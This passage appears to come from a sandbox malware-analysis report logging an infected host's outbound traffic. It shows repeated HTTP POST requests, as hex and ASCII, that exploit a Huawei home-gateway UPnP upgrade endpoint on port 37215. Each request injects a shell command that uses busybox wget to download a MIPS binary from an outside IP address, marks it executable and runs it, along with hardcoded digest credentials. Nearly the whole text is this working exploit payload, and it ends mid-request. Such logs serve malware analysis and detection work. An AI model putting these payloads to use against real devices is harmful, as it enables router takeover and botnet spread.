22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:23.220762014 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:30.348740101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:44.588643074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.068597078 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.20	54372	156.241.13.65	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:16.403500080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:17.892508030 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:19.680807114 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:23.260525942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:30.412508965 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 